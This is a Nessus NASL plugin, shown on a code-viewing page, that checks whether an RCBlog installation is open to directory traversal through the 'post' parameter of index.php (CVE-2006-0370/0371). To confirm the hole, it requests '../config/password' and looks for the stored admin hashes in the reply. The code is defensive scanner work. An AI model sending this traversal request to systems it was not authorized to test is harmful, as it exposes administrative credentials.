📄 rcblog_dir_transversal.nasl
字号:
## Josh Zlatin-Amishav josh at ramat dot cc# GPLv2## Changes by Tenable: reduced the likehood of false positivesif(description){ script_id(20825); script_cve_id("CVE-2006-0370", "CVE-2006-0371"); script_bugtraq_id(16342); if (defined_func("script_xref")) { script_xref(name:"OSVDB", value:"22679"); script_xref(name:"OSVDB", value:"22680"); script_xref(name:"OSVDB", value:"22681"); } script_version ("$Revision: 38 $"); name["english"] = "RCBlog post Parameter Directory Traversal Vulnerability"; script_name(english:name["english"]); desc["english"] = "Synopsis :The remote web server contains a PHP script that is prone to directory traversal attacks.Description :The remote host is running RCBlog, a blog written in PHP. The remote version of this software fails to sanitize user-suppliedinput to the 'post' parameter of the 'index.php' script. An attackercan use this to access arbitrary files on the remote host providedPHP's 'magic_quotes' setting is disabled or, regardless of thatsetting, files with a '.txt' extension such as those used by theapplication to store administrative credentials. See also : http://www.securityfocus.com/archive/1/422499Solution : Remove the application as its author no longer supports it.Risk factor : Low / CVSS Base Score : 3 (AV:R/AC:H/Au:NR/C:P/A:N/I:N/B:C)";script_description(english:desc["english"]);summary["english"] = "Checks for directory transversal in RCBlog index.php script";script_summary(english:summary["english"]);script_category(ACT_ATTACK);script_family(english:"CGI abuses");script_copyright(english:"Copyright (C) 2006 Josh Zlatin-Amishav");script_dependencies("http_version.nasl");script_require_ports("Services/www", 80);script_exclude_keys("Settings/disable_cgi_scanning");exit(0);}include("global_settings.inc");include("http_func.inc");include("http_keepalive.inc");port = get_http_port(default:80);if(!get_port_state(port))exit(0);if(!can_host_php(port:port)) exit(0);if (thorough_tests) dirs = make_list("/rcblog", "/blog", cgi_dirs());else dirs = make_list(cgi_dirs());file = "../config/password";foreach dir ( dirs ){ req = http_get( item:string( dir, "/index.php?", "post=", file ), port:port ); res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE); if (res == NULL) exit(0); # If it looks like it worked. if ( string(file, " not found.</div>") >!< res && 'powered by <a href="http://www.fluffington.com/">RCBlog' >< res && egrep(pattern:'<div class="title">[a-f0-9]{32}\t[a-f0-9]{32}</div>', string:res) ) { security_note(port); exit(0); }}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -